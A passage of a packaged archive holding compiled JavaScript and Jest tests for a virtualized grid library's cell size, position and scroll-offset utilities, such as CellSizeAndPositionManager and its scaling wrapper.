      return this._estimatedCellSize;
    }
  }, {
    key: "getLastMeasuredIndex",
    value: function getLastMeasuredIndex() {
      return this._lastMeasuredIndex;
    }
  }, {
    key: "getOffsetAdjustment",
    value: function getOffsetAdjustment() {
      return 0;
    }
    /**
     * This method returns the size and position for the cell at the specified index.
     * It just-in-time calculates (or used cached values) for cells leading up to the index.
     */

  }, {
    key: "getSizeAndPositionOfCell",
    value: function getSizeAndPositionOfCell(index) {
      if (index < 0 || index >= this._cellCount) {
        throw Error("Requested index ".concat(index, " is outside of range 0..").concat(this._cellCount));
      }

      if (index > this._lastMeasuredIndex) {
        var lastMeasuredCellSizeAndPosition = this.getSizeAndPositionOfLastMeasuredCell();
        var offset = lastMeasuredCellSizeAndPosition.offset + lastMeasuredCellSizeAndPosition.size;

        for (var i = this._lastMeasuredIndex + 1; i <= index; i++) {
          var size = this._cellSizeGetter({
            index: i
          }); // undefined or NaN probably means a logic error in the size getter.
          // null means we're using CellMeasurer and haven't yet measured a given index.


          if (size === undefined || isNaN(size)) {
            throw Error("Invalid size returned for cell ".concat(i, " of value ").concat(size));
          } else if (size === null) {
            this._cellSizeAndPositionData[i] = {
              offset: offset,
              size: 0
            };
            this._lastBatchedIndex = index;
          } else {
            this._cellSizeAndPositionData[i] = {
              offset: offset,
              size: size
            };
            offset += size;
            this._lastMeasuredIndex = index;
          }
        }
      }

      return this._cellSizeAndPositionData[index];
    }
  }, {
    key: "getSizeAndPositionOfLastMeasuredCell",
    value: function getSizeAndPositionOfLastMeasuredCell() {
      return this._lastMeasuredIndex >= 0 ? this._cellSizeAndPositionData[this._lastMeasuredIndex] : {
        offset: 0,
        size: 0
      };
    }
    /**
     * Total size of all cells being measured.
     * This value will be completely estimated initially.
     * As cells are measured, the estimate will be updated.
     */

  }, {
    key: "getTotalSize",
    value: function getTotalSize() {
      var lastMeasuredCellSizeAndPosition = this.getSizeAndPositionOfLastMeasuredCell();
      var totalSizeOfMeasuredCells = lastMeasuredCellSizeAndPosition.offset + lastMeasuredCellSizeAndPosition.size;
      var numUnmeasuredCells = this._cellCount - this._lastMeasuredIndex - 1;
      var totalSizeOfUnmeasuredCells = numUnmeasuredCells * this._estimatedCellSize;
      return totalSizeOfMeasuredCells + totalSizeOfUnmeasuredCells;
    }
    /**
     * Determines a new offset that ensures a certain cell is visible, given the current offset.
     * If the cell is already visible then the current offset will be returned.
     * If the current offset is too great or small, it will be adjusted just enough to ensure the specified index is visible.
     *
     * @param align Desired alignment within container; one of "auto" (default), "start", or "end"
     * @param containerSize Size (width or height) of the container viewport
     * @param currentOffset Container's current (x or y) offset
     * @param totalSize Total size (width or height) of all cells
     * @return Offset to use to ensure the specified cell is visible
     */

  }, {
    key: "getUpdatedOffsetForIndex",
    value: function getUpdatedOffsetForIndex(_ref3) {
      var _ref3$align = _ref3.align,
          align = _ref3$align === void 0 ? 'auto' : _ref3$align,
          containerSize = _ref3.containerSize,
          currentOffset = _ref3.currentOffset,
          targetIndex = _ref3.targetIndex;

      if (containerSize <= 0) {
        return 0;
      }

      var datum = this.getSizeAndPositionOfCell(targetIndex);
      var maxOffset = datum.offset;
      var minOffset = maxOffset - containerSize + datum.size;
      var idealOffset;

      switch (align) {
        case 'start':
          idealOffset = maxOffset;
          break;

        case 'end':
          idealOffset = minOffset;
          break;

        case 'center':
          idealOffset = maxOffset - (containerSize - datum.size) / 2;
          break;

        default:
          idealOffset = Math.max(minOffset, Math.min(maxOffset, currentOffset));
          break;
      }

      var totalSize = this.getTotalSize();
      return Math.max(0, Math.min(totalSize - containerSize, idealOffset));
    }
  }, {
    key: "getVisibleCellRange",
    value: function getVisibleCellRange(params) {
      var containerSize = params.containerSize,
          offset = params.offset;
      var totalSize = this.getTotalSize();

      if (totalSize === 0) {
        return {};
      }

      var maxOffset = offset + containerSize;

      var start = this._findNearestCell(offset);

      var datum = this.getSizeAndPositionOfCell(start);
      offset = datum.offset + datum.size;
      var stop = start;

      while (offset < maxOffset && stop < this._cellCount - 1) {
        stop++;
        offset += this.getSizeAndPositionOfCell(stop).size;
      }

      return {
        start: start,
        stop: stop
      };
    }
    /**
     * Clear all cached values for cells after the specified index.
     * This method should be called for any cell that has changed its size.
     * It will not immediately perform any calculations; they'll be performed the next time getSizeAndPositionOfCell() is called.
     */

  }, {
    key: "resetCell",
    value: function resetCell(index) {
      this._lastMeasuredIndex = Math.min(this._lastMeasuredIndex, index - 1);
    }
  }, {
    key: "_binarySearch",
    value: function _binarySearch(high, low, offset) {
      while (low <= high) {
        var middle = low + Math.floor((high - low) / 2);
        var currentOffset = this.getSizeAndPositionOfCell(middle).offset;

        if (currentOffset === offset) {
          return middle;
        } else if (currentOffset < offset) {
          low = middle + 1;
        } else if (currentOffset > offset) {
          high = middle - 1;
        }
      }

      if (low > 0) {
        return low - 1;
      } else {
        return 0;
      }
    }
  }, {
    key: "_exponentialSearch",
    value: function _exponentialSearch(index, offset) {
      var interval = 1;

      while (index < this._cellCount && this.getSizeAndPositionOfCell(index).offset < offset) {
        index += interval;
        interval *= 2;
      }

      return this._binarySearch(Math.min(index, this._cellCount - 1), Math.floor(index / 2), offset);
    }
    /**
     * Searches for the cell (index) nearest the specified offset.
     *
     * If no exact match is found the next lowest cell index will be returned.
     * This allows partially visible cells (with offsets just before/above the fold) to be visible.
     */

  }, {
    key: "_findNearestCell",
    value: function _findNearestCell(offset) {
      if (isNaN(offset)) {
        throw Error("Invalid offset ".concat(offset, " specified"));
      } // Our search algorithms find the nearest match at or below the specified offset.
      // So make sure the offset is at least 0 or no match will be found.


      offset = Math.max(0, offset);
      var lastMeasuredCellSizeAndPosition = this.getSizeAndPositionOfLastMeasuredCell();
      var lastMeasuredIndex = Math.max(0, this._lastMeasuredIndex);

      if (lastMeasuredCellSizeAndPosition.offset >= offset) {
        // If we've already measured cells within this range just use a binary search as it's faster.
        return this._binarySearch(lastMeasuredIndex, 0, offset);
      } else {
        // If we haven't yet measured this high, fallback to an exponential search with an inner binary search.
        // The exponential search avoids pre-computing sizes for the full set of cells as a binary search would.
        // The overall complexity for this approach is O(log n).
        return this._exponentialSearch(lastMeasuredIndex, offset);
      }
    }
  }]);

  return CellSizeAndPositionManager;
}();

export { CellSizeAndPositionManager as default };
import { bpfrpt_proptype_Alignment } from "../types";
import { bpfrpt_proptype_CellSizeGetter } from "../types";
import { bpfrpt_proptype_VisibleCellRange } from "../types";es/Grid/utils/calculateSizeAndPositionDataAndUpdateScrollOffset.jest.js000064400000007534151677406010022370 0ustar00import calculateSizeAndPositionDataAndUpdateScrollOffset from './calculateSizeAndPositionDataAndUpdateScrollOffset';
describe('calculateSizeAndPositionDataAndUpdateScrollOffset', function () {
  function helper() {
    var _ref = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {},
        _ref$cellCount = _ref.cellCount,
        cellCount = _ref$cellCount === void 0 ? 100 : _ref$cellCount,
        _ref$cellSize = _ref.cellSize,
        cellSize = _ref$cellSize === void 0 ? 10 : _ref$cellSize,
        _ref$computeMetadataC = _ref.computeMetadataCallbackProps,
        computeMetadataCallbackProps = _ref$computeMetadataC === void 0 ? {} : _ref$computeMetadataC,
        _ref$nextCellsCount = _ref.nextCellsCount,
        nextCellsCount = _ref$nextCellsCount === void 0 ? 100 : _ref$nextCellsCount,
        _ref$nextCellSize = _ref.nextCellSize,
        nextCellSize = _ref$nextCellSize === void 0 ? 10 : _ref$nextCellSize,
        nextScrollToIndex = _ref.nextScrollToIndex,
        scrollToIndex = _ref.scrollToIndex;

    var computeMetadataCallbackCalls = [];
    var updateScrollOffsetForScrollToIndexCalls = [];
    calculateSizeAndPositionDataAndUpdateScrollOffset({
      cellCount: cellCount,
      cellSize: cellSize,
      computeMetadataCallback: function computeMetadataCallback(params) {
        return computeMetadataCallbackCalls.push(params);
      },
      computeMetadataCallbackProps: computeMetadataCallbackProps,
      nextCellsCount: nextCellsCount,
      nextCellSize: nextCellSize,
      nextScrollToIndex: nextScrollToIndex,
      scrollToIndex: scrollToIndex,
      updateScrollOffsetForScrollToIndex: function updateScrollOffsetForScrollToIndex(params) {
        return updateScrollOffsetForScrollToIndexCalls.push(params);
      }
    });
    return {
      computeMetadataCallbackCalls: computeMetadataCallbackCalls,
      updateScrollOffsetForScrollToIndexCalls: updateScrollOffsetForScrollToIndexCalls
    };
  }

  it('should call :computeMetadataCallback if :cellCount has changed', function () {
    var _helper = helper({
      cellCount: 100,
      nextCellsCount: 200
    }),
        computeMetadataCallbackCalls = _helper.computeMetadataCallbackCalls;

    expect(computeMetadataCallbackCalls.length).toEqual(1);
  });
  it('should call :computeMetadataCallback if numeric :cellSize has changed', function () {
    var _helper2 = helper({
      cellSize: 10,
      nextCellSize: 20
    }),
        computeMetadataCallbackCalls = _helper2.computeMetadataCallbackCalls;

    expect(computeMetadataCallbackCalls.length).toEqual(1);
  });
  it('should not call :computeMetadataCallback if :cellSize callback has changed', function () {
    var _helper3 = helper({
      cellSize: function cellSize() {},
      nextCellSize: function nextCellSize() {}
    }),
        computeMetadataCallbackCalls = _helper3.computeMetadataCallbackCalls;

    expect(computeMetadataCallbackCalls.length).toEqual(0);
  });
  it('should not call :updateScrollOffsetForScrollToIndex if :scrollToIndex is not specified', function () {
    var _helper4 = helper(),
        updateScrollOffsetForScrollToIndexCalls = _helper4.updateScrollOffsetForScrollToIndexCalls;

    expect(updateScrollOffsetForScrollToIndexCalls.length).toEqual(0);
  });
  it('should not call :updateScrollOffsetForScrollToIndex if :scrollToIndex has also changed', function () {
    var _helper5 = helper({
      scrollToIndex: 10,
      nextScrollToIndex: 20
    }),
        updateScrollOffsetForScrollToIndexCalls = _helper5.updateScrollOffsetForScrollToIndexCalls;

    expect(updateScrollOffsetForScrollToIndexCalls.length).toEqual(0);
  });
  it('should not call :computeMetadataCallback if the above conditions are not true', function () {
    var _helper6 = helper(),
        computeMetadataCallbackCalls = _helper6.computeMetadataCallbackCalls;

    expect(computeMetadataCallbackCalls.length).toEqual(0);
  });
});es/Grid/utils/calculateSizeAndPositionDataAndUpdateScrollOffset.js000064400000002421151677406010021412 0ustar00/**
 * Helper method that determines when to recalculate row or column metadata.
 */
export default function calculateSizeAndPositionDataAndUpdateScrollOffset(_ref) {
  var cellCount = _ref.cellCount,
      cellSize = _ref.cellSize,
      computeMetadataCallback = _ref.computeMetadataCallback,
      computeMetadataCallbackProps = _ref.computeMetadataCallbackProps,
      nextCellsCount = _ref.nextCellsCount,
      nextCellSize = _ref.nextCellSize,
      nextScrollToIndex = _ref.nextScrollToIndex,
      scrollToIndex = _ref.scrollToIndex,
      updateScrollOffsetForScrollToIndex = _ref.updateScrollOffsetForScrollToIndex;

  // Don't compare cell sizes if they are functions because inline functions would cause infinite loops.
  // In that event users should use the manual recompute methods to inform of changes.
  if (cellCount !== nextCellsCount || (typeof cellSize === 'number' || typeof nextCellSize === 'number') && cellSize !== nextCellSize) {
    computeMetadataCallback(computeMetadataCallbackProps); // Updated cell metadata may have hidden the previous scrolled-to item.
    // In this case we should also update the scrollTop to ensure it stays visible.

    if (scrollToIndex >= 0 && scrollToIndex === nextScrollToIndex) {
      updateScrollOffsetForScrollToIndex();
    }
  }
}es/Grid/utils/ScalingCellSizeAndPositionManager.js000064400000015170151677406010016227 0ustar00import _objectWithoutProperties from "@babel/runtime/helpers/objectWithoutProperties";
import _classCallCheck from "@babel/runtime/helpers/classCallCheck";
import _createClass from "@babel/runtime/helpers/createClass";
import _defineProperty from "@babel/runtime/helpers/defineProperty";
import CellSizeAndPositionManager from './CellSizeAndPositionManager';
import { getMaxElementSize } from './maxElementSize.js';

/**
 * Extends CellSizeAndPositionManager and adds scaling behavior for lists that are too large to fit within a browser's native limits.
 */
var ScalingCellSizeAndPositionManager =
/*#__PURE__*/
function () {
  function ScalingCellSizeAndPositionManager(_ref) {
    var _ref$maxScrollSize = _ref.maxScrollSize,
        maxScrollSize = _ref$maxScrollSize === void 0 ? getMaxElementSize() : _ref$maxScrollSize,
        params = _objectWithoutProperties(_ref, ["maxScrollSize"]);

    _classCallCheck(this, ScalingCellSizeAndPositionManager);

    _defineProperty(this, "_cellSizeAndPositionManager", void 0);

    _defineProperty(this, "_maxScrollSize", void 0);

    // Favor composition over inheritance to simplify IE10 support
    this._cellSizeAndPositionManager = new CellSizeAndPositionManager(params);
    this._maxScrollSize = maxScrollSize;
  }

  _createClass(ScalingCellSizeAndPositionManager, [{
    key: "areOffsetsAdjusted",
    value: function areOffsetsAdjusted() {
      return this._cellSizeAndPositionManager.getTotalSize() > this._maxScrollSize;
    }
  }, {
    key: "configure",
    value: function configure(params) {
      this._cellSizeAndPositionManager.configure(params);
    }
  }, {
    key: "getCellCount",
    value: function getCellCount() {
      return this._cellSizeAndPositionManager.getCellCount();
    }
  }, {
    key: "getEstimatedCellSize",
    value: function getEstimatedCellSize() {
      return this._cellSizeAndPositionManager.getEstimatedCellSize();
    }
  }, {
    key: "getLastMeasuredIndex",
    value: function getLastMeasuredIndex() {
      return this._cellSizeAndPositionManager.getLastMeasuredIndex();
    }
    /**
     * Number of pixels a cell at the given position (offset) should be shifted in order to fit within the scaled container.
     * The offset passed to this function is scaled (safe) as well.
     */

  }, {
    key: "getOffsetAdjustment",
    value: function getOffsetAdjustment(_ref2) {
      var containerSize = _ref2.containerSize,
          offset = _ref2.offset;

      var totalSize = this._cellSizeAndPositionManager.getTotalSize();

      var safeTotalSize = this.getTotalSize();

      var offsetPercentage = this._getOffsetPercentage({
        containerSize: containerSize,
        offset: offset,
        totalSize: safeTotalSize
      });

      return Math.round(offsetPercentage * (safeTotalSize - totalSize));
    }
  }, {
    key: "getSizeAndPositionOfCell",
    value: function getSizeAndPositionOfCell(index) {
      return this._cellSizeAndPositionManager.getSizeAndPositionOfCell(index);
    }
  }, {
    key: "getSizeAndPositionOfLastMeasuredCell",
    value: function getSizeAndPositionOfLastMeasuredCell() {
      return this._cellSizeAndPositionManager.getSizeAndPositionOfLastMeasuredCell();
    }
    /** See CellSizeAndPositionManager#getTotalSize */

  }, {
    key: "getTotalSize",
    value: function getTotalSize() {
      return Math.min(this._maxScrollSize, this._cellSizeAndPositionManager.getTotalSize());
    }
    /** See CellSizeAndPositionManager#getUpdatedOffsetForIndex */

  }, {
    key: "getUpdatedOffsetForIndex",
    value: function getUpdatedOffsetForIndex(_ref3) {
      var _ref3$align = _ref3.align,
          align = _ref3$align === void 0 ? 'auto' : _ref3$align,
          containerSize = _ref3.containerSize,
          currentOffset = _ref3.currentOffset,
          targetIndex = _ref3.targetIndex;
      currentOffset = this._safeOffsetToOffset({
        containerSize: containerSize,
        offset: currentOffset
      });

      var offset = this._cellSizeAndPositionManager.getUpdatedOffsetForIndex({
        align: align,
        containerSize: containerSize,
        currentOffset: currentOffset,
        targetIndex: targetIndex
      });

      return this._offsetToSafeOffset({
        containerSize: containerSize,
        offset: offset
      });
    }
    /** See CellSizeAndPositionManager#getVisibleCellRange */

  }, {
    key: "getVisibleCellRange",
    value: function getVisibleCellRange(_ref4) {
      var containerSize = _ref4.containerSize,
          offset = _ref4.offset;
      offset = this._safeOffsetToOffset({
        containerSize: containerSize,
        offset: offset
      });
      return this._cellSizeAndPositionManager.getVisibleCellRange({
        containerSize: containerSize,
        offset: offset
      });
    }
  }, {
    key: "resetCell",
    value: function resetCell(index) {
      this._cellSizeAndPositionManager.resetCell(index);
    }
  }, {
    key: "_getOffsetPercentage",
    value: function _getOffsetPercentage(_ref5) {
      var containerSize = _ref5.containerSize,
          offset = _ref5.offset,
          totalSize = _ref5.totalSize;
      return totalSize <= containerSize ? 0 : offset / (totalSize - containerSize);
    }
  }, {
    key: "_offsetToSafeOffset",
    value: function _offsetToSafeOffset(_ref6) {
      var containerSize = _ref6.containerSize,
          offset = _ref6.offset;

      var totalSize = this._cellSizeAndPositionManager.getTotalSize();

      var safeTotalSize = this.getTotalSize();

      if (totalSize === safeTotalSize) {
        return offset;
      } else {
        var offsetPercentage = this._getOffsetPercentage({
          containerSize: containerSize,
          offset: offset,
          totalSize: totalSize
        });

        return Math.round(offsetPercentage * (safeTotalSize - containerSize));
      }
    }
  }, {
    key: "_safeOffsetToOffset",
    value: function _safeOffsetToOffset(_ref7) {
      var containerSize = _ref7.containerSize,
          offset = _ref7.offset;

      var totalSize = this._cellSizeAndPositionManager.getTotalSize();

      var safeTotalSize = this.getTotalSize();

      if (totalSize === safeTotalSize) {
        return offset;
      } else {
        var offsetPercentage = this._getOffsetPercentage({
          containerSize: containerSize,
          offset: offset,
          totalSize: safeTotalSize
        });

        return Math.round(offsetPercentage * (totalSize - containerSize));
      }
    }
  }]);

  return ScalingCellSizeAndPositionManager;
}();

export { ScalingCellSizeAndPositionManager as default };
import { bpfrpt_proptype_Alignment } from "../types";
import { bpfrpt_proptype_CellSizeGetter } from "../types";
import { bpfrpt_proptype_VisibleCellRange } from "../types";es/Grid/utils/updateScrollIndexHelper.jest.js000064400000014762151677406010015314 0ustar00import updateScrollIndexHelper from './updateScrollIndexHelper';
import CellSizeAndPositionManager from './CellSizeAndPositionManager'; // Default cell sizes and offsets for use in shared tests

export function getCellSizeAndPositionManager(_ref) {
  var _ref$cellCount = _ref.cellCount,
      cellCount = _ref$cellCount === void 0 ? CELL_SIZES.length : _ref$cellCount,
      _ref$estimatedCellSiz = _ref.estimatedCellSize,
      estimatedCellSize = _ref$estimatedCellSiz === void 0 ? 10 : _ref$estimatedCellSiz;
  return new CellSizeAndPositionManager({
    cellCount: cellCount,
    cellSizeGetter: function cellSizeGetter(_ref2) {
      var index = _ref2.index;
      return CELL_SIZES[index % CELL_SIZES.length];
    },
    estimatedCellSize: estimatedCellSize
  });
}
var CELL_SIZES = [10, // 0: 0..0 (min)
20, // 1: 0..10
15, // 2: 0..30
10, // 3: 5..45
15, // 4: 20..55
30, // 5: 50..70
20, // 6: 70..100
10, // 7: 80..110
30 //  8: 110..110 (max)
];
describe('updateScrollIndexHelper', function () {
  function helper() {
    var _ref3 = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {},
        _ref3$cellCount = _ref3.cellCount,
        cellCount = _ref3$cellCount === void 0 ? undefined : _ref3$cellCount,
        cellSizeAndPositionManager = _ref3.cellSizeAndPositionManager,
        _ref3$cellSize = _ref3.cellSize,
        cellSize = _ref3$cellSize === void 0 ? 10 : _ref3$cellSize,
        _ref3$previousCellsCo = _ref3.previousCellsCount,
        previousCellsCount = _ref3$previousCellsCo === void 0 ? undefined : _ref3$previousCellsCo,
        _ref3$previousCellSiz = _ref3.previousCellSize,
        previousCellSize = _ref3$previousCellSiz === void 0 ? 10 : _ref3$previousCellSiz,
        _ref3$previousScrollT = _ref3.previousScrollToAlignment,
        previousScrollToAlignment = _ref3$previousScrollT === void 0 ? 'auto' : _ref3$previousScrollT,
        previousScrollToIndex = _ref3.previousScrollToIndex,
        _ref3$previousSize = _ref3.previousSize,
        previousSize = _ref3$previousSize === void 0 ? 50 : _ref3$previousSize,
        _ref3$scrollOffset = _ref3.scrollOffset,
        scrollOffset = _ref3$scrollOffset === void 0 ? 0 : _ref3$scrollOffset,
        _ref3$scrollToAlignme = _ref3.scrollToAlignment,
        scrollToAlignment = _ref3$scrollToAlignme === void 0 ? 'auto' : _ref3$scrollToAlignme,
        scrollToIndex = _ref3.scrollToIndex,
        _ref3$size = _ref3.size,
        size = _ref3$size === void 0 ? 50 : _ref3$size;

    cellSizeAndPositionManager = cellSizeAndPositionManager || getCellSizeAndPositionManager({
      cellCount: cellCount
    });
    cellCount = cellCount === undefined ? cellSizeAndPositionManager.getCellCount() : cellCount;
    previousCellsCount = previousCellsCount === undefined ? cellCount : previousCellsCount;
    var updateScrollIndexCallbackCalled = false;

    function updateScrollIndexCallback() {
      updateScrollIndexCallbackCalled = true;
    }

    updateScrollIndexHelper({
      cellCount: cellCount,
      cellSizeAndPositionManager: cellSizeAndPositionManager,
      cellSize: cellSize,
      previousCellsCount: previousCellsCount,
      previousCellSize: previousCellSize,
      previousScrollToAlignment: previousScrollToAlignment,
      previousScrollToIndex: previousScrollToIndex,
      previousSize: previousSize,
      scrollOffset: scrollOffset,
      scrollToAlignment: scrollToAlignment,
      scrollToIndex: scrollToIndex,
      size: size,
      updateScrollIndexCallback: updateScrollIndexCallback
    });
    return updateScrollIndexCallbackCalled;
  }

  it('should not call :updateScrollIndexCallback if there is no :scrollToIndex and size has not changed', function () {
    expect(helper()).toEqual(false);
  });
  it('should not call :updateScrollIndexCallback if an invalid :scrollToIndex has been specified', function () {
    expect(helper({
      size: 100,
      previousSize: 50,
      scrollToIndex: -1
    })).toEqual(false);
  });
  it('should call :updateScrollIndexCallback if there is a :scrollToIndex and :size has changed', function () {
    expect(helper({
      cellCount: 100,
      size: 100,
      previousSize: 50,
      scrollToIndex: 10
    })).toEqual(true);
  });
  it('should call :updateScrollIndexCallback if there is a :scrollToIndex and :cellSize has changed', function () {
    expect(helper({
      cellCount: 100,
      cellSize: 15,
      previousCellSize: 20,
      scrollToIndex: 10
    })).toEqual(true);
  });
  it('should call :updateScrollIndexCallback if previous :scrollToIndex has changed', function () {
    expect(helper({
      cellCount: 15,
      previousScrollToIndex: 20,
      scrollToIndex: 10
    })).toEqual(true);
  });
  it('should call :updateScrollIndexCallback if :cellCount has been reduced past the current scroll offset', function () {
    expect(helper({
      previousCellsCount: 100,
      scrollOffset: 510
    })).toEqual(true);
  });
  it('should call :updateScrollIndexCallback if there is no :scrollToIndex but :size has been reduced', function () {
    expect(helper({
      previousSize: 100,
      scrollOffset: 510,
      size: 50
    })).toEqual(true);
  });
  it('should not measure rows if :size or :cellCount have been reduced but only use already measured (or estimated) total size', function () {
    var cellSizeAndPositionManager = {
      getCellCount: function getCellCount() {
        return CELL_SIZES.length;
      },
      getTotalSize: function getTotalSize() {
        return 560;
      }
    };
    expect(helper({
      cellSizeAndPositionManager: cellSizeAndPositionManager,
      previousSize: 100,
      scrollOffset: 510,
      size: 50
    })).toEqual(false);
  });
  it('should not call :updateScrollIndexCallback if there is no :scrollToIndex but :cellCount has been increased', function () {
    expect(helper({
      cellCount: 100,
      previousCellsCount: 50
    })).toEqual(false);
  });
  it('should not call :updateScrollIndexCallback if there is no :scrollToIndex but :size has been increased', function () {
    expect(helper({
      previousSize: 50,
      size: 100
    })).toEqual(false);
  });
  it('should call :updateScrollIndexCallback if :scrollToAlignment has changed', function () {
    expect(helper({
      previousScrollToAlignment: 'start',
      scrollToAlignment: 'end',
      scrollToIndex: 5
    })).toEqual(true);
  });
  it('should not call :updateScrollIndexCallback if :scrollToAlignment has changed but there is no :scrollToIndex', function () {
    expect(helper({
      previousScrollToAlignment: 'start',
      scrollToAlignment: 'end'
    })).toEqual(false);
  });
});es/Grid/utils/CellSizeAndPositionManager.jest.js000064400000043237151677406010015677 0ustar00import CellSizeAndPositionManager from './CellSizeAndPositionManager';
describe('CellSizeAndPositionManager', function () {
  function getCellSizeAndPositionManager() {
    var _ref = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {},
        _ref$cellCount = _ref.cellCount,
        cellCount = _ref$cellCount === void 0 ? 100 : _ref$cellCount,
        _ref$estimatedCellSiz = _ref.estimatedCellSize,
        estimatedCellSize = _ref$estimatedCellSiz === void 0 ? 15 : _ref$estimatedCellSiz;

    var cellSizeGetterCalls = [];
    var cellSizeAndPositionManager = new CellSizeAndPositionManager({
      cellCount: cellCount,
      cellSizeGetter: function cellSizeGetter(_ref2) {
        var index = _ref2.index;
        cellSizeGetterCalls.push(index);
        return 10;
      },
      estimatedCellSize: estimatedCellSize
    });
    return {
      cellSizeAndPositionManager: cellSizeAndPositionManager,
      cellSizeGetterCalls: cellSizeGetterCalls
    };
  }

  describe('configure', function () {
    it('should update inner :cellCount and :estimatedCellSize', function () {
      var _getCellSizeAndPositi = getCellSizeAndPositionManager(),
          cellSizeAndPositionManager = _getCellSizeAndPositi.cellSizeAndPositionManager;

      expect(cellSizeAndPositionManager.getCellCount()).toEqual(100);
      expect(cellSizeAndPositionManager.getEstimatedCellSize()).toEqual(15);
      cellSizeAndPositionManager.configure({
        cellCount: 20,
        estimatedCellSize: 30
      });
      expect(cellSizeAndPositionManager.getCellCount()).toEqual(20);
      expect(cellSizeAndPositionManager.getEstimatedCellSize()).toEqual(30);
    });
  });
  describe('findNearestCell', function () {
    it('should error if given NaN', function () {
      var _getCellSizeAndPositi2 = getCellSizeAndPositionManager(),
          cellSizeAndPositionManager = _getCellSizeAndPositi2.cellSizeAndPositionManager;

      expect(function () {
        return cellSizeAndPositionManager._findNearestCell(NaN);
      }).toThrow();
    });
    it('should gracefully handle offets outisde of bounds (to account for elastic scrolling)', function () {
      var _getCellSizeAndPositi3 = getCellSizeAndPositionManager(),
          cellSizeAndPositionManager = _getCellSizeAndPositi3.cellSizeAndPositionManager;

      expect(cellSizeAndPositionManager._findNearestCell(-100)).toEqual(0);
      expect(cellSizeAndPositionManager._findNearestCell(1234567890)).toEqual(99);
    });
    it('should find the first cell', function () {
      var _getCellSizeAndPositi4 = getCellSizeAndPositionManager(),
          cellSizeAndPositionManager = _getCellSizeAndPositi4.cellSizeAndPositionManager;

      expect(cellSizeAndPositionManager._findNearestCell(0)).toEqual(0);
      expect(cellSizeAndPositionManager._findNearestCell(9)).toEqual(0);
    });
    it('should find the last cell', function () {
      var _getCellSizeAndPositi5 = getCellSizeAndPositionManager(),
          cellSizeAndPositionManager = _getCellSizeAndPositi5.cellSizeAndPositionManager;

      expect(cellSizeAndPositionManager._findNearestCell(990)).toEqual(99);
      expect(cellSizeAndPositionManager._findNearestCell(991)).toEqual(99);
    });
    it('should find the a cell that exactly matches a specified offset in the middle', function () {
      var _getCellSizeAndPositi6 = getCellSizeAndPositionManager(),
          cellSizeAndPositionManager = _getCellSizeAndPositi6.cellSizeAndPositionManager;

      expect(cellSizeAndPositionManager._findNearestCell(100)).toEqual(10);
    });
    it('should find the cell closest to (but before) the specified offset in the middle', function () {
      var _getCellSizeAndPositi7 = getCellSizeAndPositionManager(),
          cellSizeAndPositionManager = _getCellSizeAndPositi7.cellSizeAndPositionManager;

      expect(cellSizeAndPositionManager._findNearestCell(101)).toEqual(10);
    });
  });
  describe('getSizeAndPositionOfCell', function () {
    it('should error if an invalid index is specified', function () {
      var _getCellSizeAndPositi8 = getCellSizeAndPositionManager(),
          cellSizeAndPositionManager = _getCellSizeAndPositi8.cellSizeAndPositionManager;

      expect(function () {
        return cellSizeAndPositionManager.getSizeAndPositionOfCell(-1);
      }).toThrow();
      expect(function () {
        return cellSizeAndPositionManager.getSizeAndPositionOfCell(100);
      }).toThrow();
    });
    it('should return the correct size and position information for the requested cell', function () {
      var _getCellSizeAndPositi9 = getCellSizeAndPositionManager(),
          cellSizeAndPositionManager = _getCellSizeAndPositi9.cellSizeAndPositionManager;

      expect(cellSizeAndPositionManager.getSizeAndPositionOfCell(0).offset).toEqual(0);
      expect(cellSizeAndPositionManager.getSizeAndPositionOfCell(0).size).toEqual(10);
      expect(cellSizeAndPositionManager.getSizeAndPositionOfCell(1).offset).toEqual(10);
      expect(cellSizeAndPositionManager.getSizeAndPositionOfCell(2).offset).toEqual(20);
    });
    it('should only measure the necessary cells to return the information requested', function () {
      var _getCellSizeAndPositi10 = getCellSizeAndPositionManager(),
          cellSizeAndPositionManager = _getCellSizeAndPositi10.cellSizeAndPositionManager,
          cellSizeGetterCalls = _getCellSizeAndPositi10.cellSizeGetterCalls;

      cellSizeAndPositionManager.getSizeAndPositionOfCell(0);
      expect(cellSizeGetterCalls).toEqual([0]);
    });
    it('should just-in-time measure all cells up to the requested cell if no cells have yet been measured', function () {
      var _getCellSizeAndPositi11 = getCellSizeAndPositionManager(),
          cellSizeAndPositionManager = _getCellSizeAndPositi11.cellSizeAndPositionManager,
          cellSizeGetterCalls = _getCellSizeAndPositi11.cellSizeGetterCalls;

      cellSizeAndPositionManager.getSizeAndPositionOfCell(5);
      expect(cellSizeGetterCalls).toEqual([0, 1, 2, 3, 4, 5]);
    });
    it('should just-in-time measure cells up to the requested cell if some but not all cells have been measured', function () {
      var _getCellSizeAndPositi12 = getCellSizeAndPositionManager(),
          cellSizeAndPositionManager = _getCellSizeAndPositi12.cellSizeAndPositionManager,
          cellSizeGetterCalls = _getCellSizeAndPositi12.cellSizeGetterCalls;

      cellSizeAndPositionManager.getSizeAndPositionOfCell(5);
      cellSizeGetterCalls.splice(0);
      cellSizeAndPositionManager.getSizeAndPositionOfCell(10);
      expect(cellSizeGetterCalls).toEqual([6, 7, 8, 9, 10]);
    });
    it('should return cached size and position data if cell has already been measured', function () {
      var _getCellSizeAndPositi13 = getCellSizeAndPositionManager(),
          cellSizeAndPositionManager = _getCellSizeAndPositi13.cellSizeAndPositionManager,
          cellSizeGetterCalls = _getCellSizeAndPositi13.cellSizeGetterCalls;

      cellSizeAndPositionManager.getSizeAndPositionOfCell(5);
      cellSizeGetterCalls.splice(0);
      cellSizeAndPositionManager.getSizeAndPositionOfCell(5);
      expect(cellSizeGetterCalls).toEqual([]);
    });
  });
  describe('getSizeAndPositionOfLastMeasuredCell', function () {
    it('should return an empty object if no cached cells are present', function () {
      var _getCellSizeAndPositi14 = getCellSizeAndPositionManager(),
          cellSizeAndPositionManager = _getCellSizeAndPositi14.cellSizeAndPositionManager;

      expect(cellSizeAndPositionManager.getSizeAndPositionOfLastMeasuredCell()).toEqual({
        offset: 0,
        size: 0
      });
    });
    it('should return size and position data for the highest/last measured cell', function () {
      var _getCellSizeAndPositi15 = getCellSizeAndPositionManager(),
          cellSizeAndPositionManager = _getCellSizeAndPositi15.cellSizeAndPositionManager;

      cellSizeAndPositionManager.getSizeAndPositionOfCell(5);
      expect(cellSizeAndPositionManager.getSizeAndPositionOfLastMeasuredCell()).toEqual({
        offset: 50,
        size: 10
      });
    });
